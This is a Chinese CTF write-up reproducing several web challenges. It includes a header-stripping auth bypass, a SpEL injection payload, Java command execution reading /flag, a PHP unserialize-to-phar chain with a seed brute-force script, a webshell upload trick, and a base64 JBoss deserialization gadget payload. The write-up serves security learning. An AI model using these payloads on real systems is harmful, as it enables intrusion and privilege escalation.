文章目录
一直想着复现一下把其他几道题看看,结果一拖就拖了这么多天
secret_value
ai分析登进去就可以在dashboard处看到flag

但是在访问dashboard前还要经过装饰器函数login_required的检查
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))
g.current_user = user
return view_func(*args, **kwargs)
return wrapped
1️⃣ 读取代理传来的用户 ID
uid = request.headers.get('X-User', '0')
print(uid)
- Flask 每次请求时,都会从 HTTP 请求头中取出
X-User。 - 这个
X-User是由前端的 Go Authorizer 代理 自动添加的。
比如:
- 未登录时:
X-User: anonymous - 已登录时:
X-User: 1(用户ID)
普通用户注册进来啥也看不到,所以应该要伪造管理员


如果uid是0我就可以以管理员身份拿到flag,但是这里存在一个小问题,就是中间件的go代码会自动识别当前用户的uid,并将其覆盖,也就是说uid这个参数是被强制加上的。这点其实不难解决,利用一个hacktricks里的小技巧,将go生成的X-User请求头删除即可
成功拿到flag(本地测试随便生成的一个flag)

bbjv
这道题打比赛的时候被队友ai一把梭了就没看,赛后重新来看看
这个地方很明显存在一个spel注入

先丢给ai整体分析一下代码
代码整体分析
这是一个基于Spring Boot的网关应用,核心功能是通过SpEL表达式执行规则检查,并在特定条件下读取并返回flag文件内容。主要组件如下:
- GatewayController 暴露
/check端点,接收rule参数调用EvaluationService执行SpEL表达式检查用户主目录下的flag.txt文件若文件存在,读取内容并附加到响应中 - EvaluationService 使用SpEL解析器执行表达式采用
TemplateParserContext支持${}模板语法 - SpelConfig 配置受限的SpEL执行环境使用
SimpleEvaluationContext限制功能添加自定义的SecurePropertyAccessor - SecurePropertyAccessor 重写
canRead()始终返回false禁止所有属性访问操作
flag在/tmp目录下,所以把user.home改一改即可
#{#systemProperties['user.home']='/tmp'}
用 SimpleEvaluationContext阻断了反射属性读取(SecurePropertyAccessor),但Map访问器仍可用;而 #systemProperties 是 java.util.Properties,因此可以用下标写入

yamcs
测黑盒的思路打出来了

这个页面似乎可以执行summary中的代码,喂给ai写个代码试试
// 安全检测:检查是否能读取系统属性(非破坏性)
try {
String prop = System.getProperty("user.dir"); // 受限沙箱常会阻止
// 如果能读到,设置输出为包含该属性的字符串(注意敏感信息不可暴露)
out0.setStringValue("PROP_ALLOWED:" + (prop == null ? "NULL" : prop));
} catch (Throwable t) {
// 若被沙箱或权限限制拒绝,将返回明确的失败标记
out0.setStringValue("PROP_BLOCKED");
}
成功执行了

接着生成一个读flag的命令
try {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec("cat /flag").getInputStream()
).useDelimiter("\\A");
out0.setStringValue(s.hasNext() ? s.next().trim() : "EMPTY");
} catch (Exception e) {
out0.setStringValue("ERROR");
}

ez_php
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
这道题比赛时想不通怎么能调用readflag方法,参考https://www.cnblogs.com/LAMENTXU/articles/19156437
<?php
// 生成随机字符串的函数(默认长度8,仅小写字母)
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1); // 随机选取字符索引
$randomString .= $characters[$r]; // 拼接字符
}
return $randomString;
}
// 设置默认时区为亚洲/上海
date_default_timezone_set('Asia/Shanghai');
// 定义 test 类
class test {
public $readflag; // 通常存储匿名类实例
public $f; // 存储函数名或类名
public $key; // 控制析构函数行为的标志
// 构造函数:初始化 $readflag 为匿名类实例
public function __construct() {
$this->readflag = new class {
// 匿名类的构造函数:处理文件上传
public function __construct() {
// 检查是否有文件上传且无错误
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi'); // 获取当前时间(格式如1836)
$filename = $GLOBALS['filename']; // 从全局变量获取文件名
$seed = $time . intval($filename); // 生成随机种子
mt_srand($seed); // 设置随机数种子
// 清空上传目录
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file); // 删除文件
}
// 生成新文件名并保存到全局变量
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
// 移动上传的文件到目标路径
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}
// 反序列化时触发:输出PHP信息
public function __wakeup() {
phpinfo();
}
// readflag方法:定义内部函数用于文件读取
public function readflag() {
// 内部函数:读取并包含文件(安全过滤)
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file); // 防止路径遍历
// 检查文件名是否包含协议(如 http://)
if (preg_match('/:\/\//', $file)) die("error");
// 读取文件内容并检查危险字符串
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file); // 包含文件
}
}
}
};
}
// 析构函数:对象销毁时触发
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag; // 更新全局变量
// 根据 $key 执行不同操作
if ($this->key == 'class') {
new $func(); // 动态实例化类
} else if ($this->key == 'func') {
$func(); // 动态调用函数
} else {
highlight_file('index.php'); // 高亮显示当前文件
}
}
}
// 从GET参数获取序列化数据,默认值为 'O:4:"test":N'
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser); // 反序列化(抑制错误)
?>
传入key为func时,可以调用函数,可以利用这一点调用匿名类的readflag函数,怎么调用?先看基础知识
在 PHP 里,很多东西都可以被当作函数来调用:
- 一个普通字符串
"readflag"------ 当作全局函数名去调用。 - 一个数组
["ClassName", "method"]------ 当作 类方法 去调用(等同ClassName::method())。 - 还有对象实例加方法名
[ $obj, "method" ]等等。
所以如果把 $f 设成 ["匿名类完整名", "readflag"],PHP 就会去"调用匿名类的 readflag 方法"。
在源码里,匿名类的 readflag() 方法并不是立即包含文件 ,而是在其方法体里 定义了一个全局函数 readflag() (也就是它声明 了一个函数)。定义完成后,后续再调用全局函数 readflag() 就会读取/包含上传的文件,完成关键动作。
PHP 在析构时是后进先出(LIFO)------最后创建的对象先析构。
- 因此必须保证先触发匿名类的方法去"定义全局函数" ,然后再触发调用全局函数。
- 最简单的策略是把"定义函数"的对象放在序列化数组里靠后 (这样它被更晚创建,先析构),把"调用函数"的对象放在数组里靠前(更先创建,最后析构)。
再来看匿名类的命名规则
匿名类遵循这样的规则:
%00 + 函数 + 路径 : 行号$序号
可以自己docker里起一个实例看看
<?php
eval('$b = new class{};');
echo get_class($b);

这个eval函数在第一行,所以不难推出他的名字是
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1
<?php
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
}
}
$a = new test();
$a -> readflag = 名字;
$a -> f = 'test';
$a -> key = 'class';
$b = new test();
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
$b -> key = 'func';
echo serialize($a);
echo ' ';
echo serialize($b);
import requests
target = 'http://localhost:8080/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.png', 'rb'))})
print(res.text)
到这里就可以上传文件并包含,后续怎么做呢
参考https://fushuling.com/index.php/2025/07/30/当include邂逅phar-deadsecctf2025-baby-web/

使用上述代码生成phar,再gzip打包
gzip exploit.phar
现在其他问题都解决的差不多了,但是还需要在文件名中加上phar,才会触发include解析phar的逻辑,看看怎么操作
$seed = $time . intval($filename);
mt_srand($seed);
发现文件名可控,能否通过文件名的seed生成phar这个随机字符串、
ai搓个脚本
<?php
// 用法:php find_phar.php 0935
// 第一个参数就是题目里的 $time = date('Hi')
date_default_timezone_set('Asia/Shanghai');
$time = date('Hi'); // 比如 0935
$max = 200000; // 最多枚举到多少文件名,你可以自己加大
// 题目里的生成函数,原样抄过来
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
// 在 PHP 7+ 里 rand() == mt_rand(),所以前面的 mt_srand() 会影响它
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
$hits = 0;
for ($fname = 0; $fname <= $max; $fname++) {
// 题目里是:$seed = $time . intval($filename);
// 注意这里是字符串拼接再转成数字的效果
$seed = $time . intval($fname);
// 为了保险,转成 int
$seed = (int)$seed;
mt_srand($seed);
$randStr = generateRandomString(8);
if (strpos($randStr, 'phar') !== false) {
$hits++;
echo "[+] time=$time filename={$fname} seed={$seed} rand=\"{$randStr}\"\n";
}
}
if ($hits === 0) {
echo "[-] 没找到含 phar 的,试试把第二个参数 max 调大,比如 1000000。\n";
}
到这里其实基本就没有问题了,但是在操作时莫名遇到个报错
import requests
target = 'http://localhost:8080/'
a = 'O:4:"test":3:{s:8:"readflag";s:6:"690136";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous /var/www/html/index.php(1) : eval()\'d code:1$1";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('exploit.gz', 'rb'))})
print(res.text)
大概意思就是说我的匿名类的函数是空的,也就是没找到
<b>Fatal error</b>: Uncaught Error: Class 'class@anonymous /var/www/html/index.php(1) : eval()'d code:1$1' not found in /var/www/html/index.php(1) : eval()'d code:1
Stack trace:
#0 /var/www/html/index.php(1) : eval()'d code(1): test->__destruct()
#1 /var/www/html/index.php(1): eval()
#2 {main}
thrown in <b>/var/www/html/index.php(1) : eval()'d code</b> on line <b>1</b><br />
一开始在想会不会是匿名类序号的问题,试了试也不是,这里不知道为什么一直不通
日志系统
这题可惜最后差点时间,再来半个小时应该就能打通,当时我们都分析出大概率是jboss提权,但是正好都没这方面经验,动作就慢了很多
先说第一步上传马的思路
/api.php?timestamp[year]=20×tamp[month]=25×tamp[day]=0×tamp[day].=php
然后访问2025.php即可发现成功上传,试出来的,原因暂且不明
进去之后本来想测测sudo版本,发现就没有,同时排除了今年的sudo提权和suid提权
查看可写目录,发现可疑的地方,一个跟jboss相关的东西很突兀的出现了

同时jboss是root进程,版本为4.2.3,很低,基本可以锁定是用这玩意提权
但是怎么提呢,也是赛后看了篇博客才清楚
4446端口可以打一个cc依赖的反序列化
String payload = "rO0ABXNyACLBqsGhwbbBocCuwbXBtMGpwazArsGIwaHBs8GowY3BocGwBQfawcMWYNEDAAJGABTBrMGvwaHBpMGGwaHBo8G0wa/BskkAEsG0wajBssGlwbPBqMGvwazBpHhwP0AAAAAAAAx3CAAAABAAAAABc3IAaMGvwbLBp8CuwaHBsMGhwaPBqMGlwK7Bo8Gvwa3BrcGvwa7Bs8CuwaPBr8GswazBpcGjwbTBqcGvwa7Bs8CuwavBpcG5wbbBocGswbXBpcCuwZTBqcGlwaTBjcGhwbDBhcGuwbTBssG5iq3SmznBH9sCAAJMAAbBq8Glwbl0ACTBjMGqwaHBtsGhwK/BrMGhwa7Bp8CvwY/BosGqwaXBo8G0wLtMAAbBrcGhwbB0AB7BjMGqwaHBtsGhwK/BtcG0wanBrMCvwY3BocGwwLt4cHNyAHTBo8Gvwa3ArsGzwbXBrsCuwa/BssGnwK7BocGwwaHBo8GowaXArsG4waHBrMGhwa7ArsGpwa7BtMGlwbLBrsGhwazArsG4wbPBrMG0waPArsG0wbLBocG4wK7BlMGlwa3BsMGswaHBtMGlwbPBicGtwbDBrAlXT8FurKszAwAGSQAawZ/BqcGuwaTBpcGuwbTBjsG1wa3BosGlwbJJABzBn8G0wbLBocGuwbPBrMGlwbTBicGuwaTBpcG4WwAUwZ/BosG5wbTBpcGjwa/BpMGlwbN0AAbBm8GbwYJbAAzBn8GjwazBocGzwbN0ACTBm8GMwarBocG2waHAr8GswaHBrsGnwK/Bg8GswaHBs8GzwLtMAArBn8GuwaHBrcGldAAkwYzBqsGhwbbBocCvwazBocGuwafAr8GTwbTBssGpwa7Bp8C7TAAiwZ/Br8G1wbTBsMG1wbTBkMGywa/BsMGlwbLBtMGpwaXBs3QALMGMwarBocG2waHAr8G1wbTBqcGswK/BkMGywa/BsMGlwbLBtMGpwaXBs8C7eHAAAAAA/////3VyAAbBm8GbwYJL/RkVZ2fbNwIAAHhwAAAAAnVyAATBm8GCrPMX+AYIVOACAAB4cAAADtbK/rq+AAAANABmCgAUADQIADUKAAUANggAHgcANwcAIQoABQA4CgA5ADoKADsAPAgAPQoAPgA/CgAFAEAKAEEAOgcAQgoAQwBECgBBAEUKADkARgoABQBHBwBIBwBJAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACFMcGF5bG9hZC9UZW1wbGF0ZUltcGxDbGFzc0xvYWRlcjsBAAZsb2FkZXIBABFMamF2YS9sYW5nL0NsYXNzOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAARjb2RlAQACW0IBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAApFeGNlcHRpb25zBwBKAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcASwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAHFRlbXBsYXRlSW1wbENsYXNzTG9hZGVyLmphdmEMABUAFgEATmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwkVHJhbnNsZXRDbGFzc0xvYWRlcgwATABNAQAPamF2YS9sYW5nL0NsYXNzDABOAE8HAFAMAFEAUgcAUwwAVABXAQVceXY2NnZnQUFBRFFBUUFvQUVBQWxDQUFtQ1FBbkFDZ0lBQ2tLQUFZQUtnY0FLd2dBTEFnQUxRZ0FIUWdBTGdvQUx3QXdDZ0F2QURFSEFESUtBQTBBTXdjQU5BY0FOUUVBQmp4cGJtbDBQZ0VBQXlncFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQVIwYUdsekFRQVZUSEJoZVd4dllXUXZVblZ1ZEdsdFpVVjRaV003QVFBSVBHTnNhVzVwZEQ0QkFBUjJZWEl4QVFBVFcweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFCSFpoY2pNQkFCVk1hbUYyWVM5cGJ5OUpUMFY0WTJWd2RHbHZianNCQUFOamJXUUJBQkpNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUExVGRHRmphMDFoY0ZSaFlteGxCd0FyQndBYUJ3QXlBUUFLVTI5MWNtTmxSbWxzWlFFQUVGSjFiblJwYldWRmVHVmpMbXBoZG1FTUFCRUFFZ0VBVkdOaGRDQXZaWFJqTDJsaVpHTnFaR0ZxYVdvdmFXSmtZMnBrWVdwcGFpOXBZbVJqYW1SaGFtbHFMMmxpWkdOcVpHRnFhV292YVdKa1kycGtZV3BwYWk5bWJEUTBORFEwTkdjZ1BpQXZkRzF3THpFeU13Y0FOZ3dBTndBZUFRQUJMd3dBT0FBNUFRQVFhbUYyWVM5c1lXNW5MMU4wY21sdVp3RUFCeTlpYVc0dmMyZ0JBQUl0WXdFQUFpOURCd0E2REFBN0FEd01BRDBBUGdFQUUycGhkbUV2YVc4dlNVOUZlR05sY0hScGIyNE1BRDhBRWdFQUNXVlJkVzV6U1ZCdU1RRUFFR3BoZG1FdmJHRnVaeTlQWW1wbFkzUUJBQXhxWVhaaEwybHZMMFpwYkdVQkFBbHpaWEJoY21GMGIzSUJBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1ZvQkFCRnFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpRRUFDbWRsZEZKMWJuUnBiV1VCQUJVb0tVeHFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpUc0JBQVJsZUdWakFRQW9LRnRNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56T3dFQUQzQnlhVzUwVTNSaFkydFVjbUZqWlFBaEFBOEFFQUFBQUFBQUFnQUJBQkVBRWdBQkFCTUFBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBRkFBQUFBWUFBUUFBQUFVQUZRQUFBQXdBQVFBQUFBVUFGZ0FYQUFBQUNBQVlBQklBQVFBVEFBQUEwd0FFQUFNQUFBQklFZ0pMc2dBREVnUzJBQVdaQUJrR3ZRQUdXUU1TQjFOWkJCSUlVMWtGS2xOTXB3QVdCcjBBQmxrREVnbFRXUVFTQ2xOWkJTcFRUTGdBQ3l1MkFBeFhwd0FJVFN5MkFBNnhBQUVBTndBL0FFSUFEUUFEQUJRQUFBQW1BQWtBQUFBSEFBTUFDUUFPQUFvQUpBQU1BRGNBRHdBL0FCSUFRZ0FRQUVNQUVRQkhBQk1BRlFBQUFDb0FCQUFoQUFNQUdRQWFBQUVBUXdBRUFCc0FIQUFDQUFNQVJBQWRBQjRBQUFBM0FCQUFHUUFhQUFFQUh3QUFBQlVBQlB3QUpBY0FJUHdBRWdjQUlVb0hBQ0w1QUFRQUFRQWpBQUFBQWdBawcAWAwAWQBaDABbAFwHAF0BABBqYXZhL2xhbmcvT2JqZWN0BwBeDABfAGAMAGEAYgwAYwBkDABhAGUBAAVib3Z0TwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFu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";
byte[] serialize = Base64.getDecoder().decode(payload);
byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
System.out.println(aced.length + range.length == serialize.length);
byte[] bytes = ArrayUtils.addAll(aced, bs);
bytes = ArrayUtils.addAll(bytes, range);
